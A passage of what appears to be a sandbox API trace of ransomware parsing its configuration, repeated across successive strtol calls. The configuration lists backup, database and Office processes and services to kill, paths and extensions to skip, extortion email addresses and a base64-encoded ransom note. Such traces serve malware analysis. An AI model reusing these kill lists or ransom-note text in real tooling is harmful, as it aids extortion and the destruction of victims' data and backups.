Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2fcfe8c, _Radix=0 | out: _EndPtr=0x2fcfe8c*=",\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0053.800] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d68a8, Size=0xc) returned 0x33d25f0 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d86e0 [0053.800] strtol (in: _Str="16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2fcfe8c, _Radix=0 | out: _EndPtr=0x2fcfe8c*=",\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 16534 [0053.800] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d25f0, Size=0x10) returned 0x33d2308 [0053.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33d8460 [0053.800] strtol (in: _Str="10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2fcfe8c, _Radix=0 | out: _EndPtr=0x2fcfe8c*=",\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server 